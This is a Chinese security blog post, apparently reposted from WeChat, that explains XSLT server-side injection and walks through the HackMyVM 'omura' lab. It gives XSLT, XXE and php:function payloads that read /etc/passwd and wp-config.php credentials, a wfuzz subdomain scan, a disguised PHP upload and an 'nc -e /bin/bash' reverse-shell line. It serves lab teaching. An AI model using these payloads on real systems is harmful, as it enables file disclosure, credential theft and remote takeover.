何为XSLT
XSLT是一种基于XML的语言,用于将XML文档转换成其他格式的文档,如HTML、纯文本或其他类型的XML。它通过定义一系列的转换规则来实现这一过程。XSLT的强大之处在于它能够处理复杂的数据转换和文档结构调整,使其成为在多种应用中处理XML数据的有效工具。
漏洞成因
- 应用程序接收用户提供的XML数据。
- 应用程序使用这些数据作为XSLT转换的一部分,而没有充分验证或清理用户输入。
- 攻击者构造特制的XML数据,其中包含恶意的XSLT代码。
- 当应用程序处理这些恶意数据时,嵌入的XSLT代码被执行。
利用举例
假设一个应用程序允许用户提供XML文件,并使用用户提供的XSLT模板来转换这个XML文件。如果应用程序没有正确验证或限制XSLT模板的内容,攻击者就可以插入恶意的XSLT代码。
例如,利用XSLT的document()函数读取密码。
<xs
l:stylesheet
version
=
"1.0"
xmln
s:xsl
=
"http://www.w3.org/1999/XSL/Transform"
>
<xs
l:template
match
=
"/"
>
<xs
l:value
-of select=
"document('/etc/passwd')"
/>
</xs
l:template
>
</xs
l:stylesheet
>
XXE(XML外部实体攻击)读密码
<?
xml version=
"1.0"
encoding=
"utf-8"
?>
<!DOCTYPE root [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<
xsl:stylesheet
version
=
"1.0"
xmlns:xsl
=
"http://www.w3.org/1999/XSL/Transform"
>
<
xsl:template
match
=
"/"
>
&passwd;
</
xsl:template
>
</
xsl:stylesheet
>
php函数读密码--php:function来调用file_get_contents,读取/etc/passwd:
<xs
l:stylesheet
version
=
"1.0"
xmln
s:xsl
=
"http://www.w3.org/1999/XSL/Transform"
xmln
s:php
=
"http://php.net/xsl"
>
<xs
l:template
match
=
"/"
>
<xs
l:value
-of select=
"php:function('file_get_contents', '/etc/passwd')"
/>
</xs
l:template
>
</xs
l:stylesheet
>
下面用hackmyvm的omura靶机来演示一下
信息收集
扫描端口
开放80和3260,其中3260为iscsi默认端口,这个下一篇介绍,先埋个伏笔
访问80端口,发现有上传点,上传xml和xsl
这个XML文件可以是任意结构。举例
<?
xml version=
"1.0"
encoding=
"UTF-8"
?>
<
catalog
>
<
cd
>
<
title
>
CD Title
</
title
>
<
artist
>
The artist
</
artist
>
<
company
>
Da Company
</
company
>
<
price
>
10000
</
price
>
<
year
>
1760
</
year
>
</
cd
>
</
catalog
>
xsl如下
<xs
l:stylesheet
version
=
"1.0"
xmln
s:xsl
=
"http://www.w3.org/1999/XSL/Transform"
>
<xs
l:template
match
=
"/"
>
<xs
l:value
-of select=
"document('/etc/passwd')"
/>
</xs
l:template
>
</xs
l:stylesheet
>
读到了
还是上面的xml文件,把xsl换成读取/var/www/wordpress的文件
<xs
l:stylesheet
xmln
s:xsl
=
"http://www.w3.org/1999/XSL/Transform"
xmln
s:abc
=
"http://php.net/xsl"
version
=
"1.0"
>
<xs
l:template
match
=
"/"
>
<xs
l:value
-of select=
"unparsed-text('/var/www/wordpress', 'utf-8')"
/>
</xs
l:template
>
</xs
l:stylesheet
>
然后可以读这些php的文件内容。例如wp-login.php
<xs
l:stylesheet
xmln
s:xsl
=
"http://www.w3.org/1999/XSL/Transform"
xmln
s:abc
=
"http://php.net/xsl"
version
=
"1.0"
>
<xs
l:template
match
=
"/"
>
<xs
l:value
-of select=
"unparsed-text('/var/www/wordpress/wp-login.php', 'utf-8')"
/>
</xs
l:template
>
</xs
l:stylesheet
>
就是一个WordPress 的登录页面,没有利用价值index.php
这些都是wp的文件,在这些文件里,wp-config.php文件会存放数据库的信息和wp的地址,所以现在读一下wp-config.php的内容
找到账号密码了
现在把这个域名omura.hmv加到host里,扫一下子域名
wfuzz -t
100
-
c
--hh=
795
-w /usr/share/seclists/
Discovery
/
DNS
/subdomains-top1million-
110000
.txt -
H
"Host: FUZZ.omura.hmv"
http:
//omura.hmv
把wordpress也加到host里,用上面的账号密码登录
现在想办法getshell,在之前的文章里介绍过一个插件的nday,今天来换一个手法,文件上传
这里是存在上传自定义插件的,前端检验是否为zip,我们只需要抓包把后缀改回php就行
内容为
system(
'nc -e /bin/bash 192.168.56.101 7777'
);
curl一下就执行了
原文始发于微信公众号(麋鹿安全):XSLT服务器端注入(附靶场)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论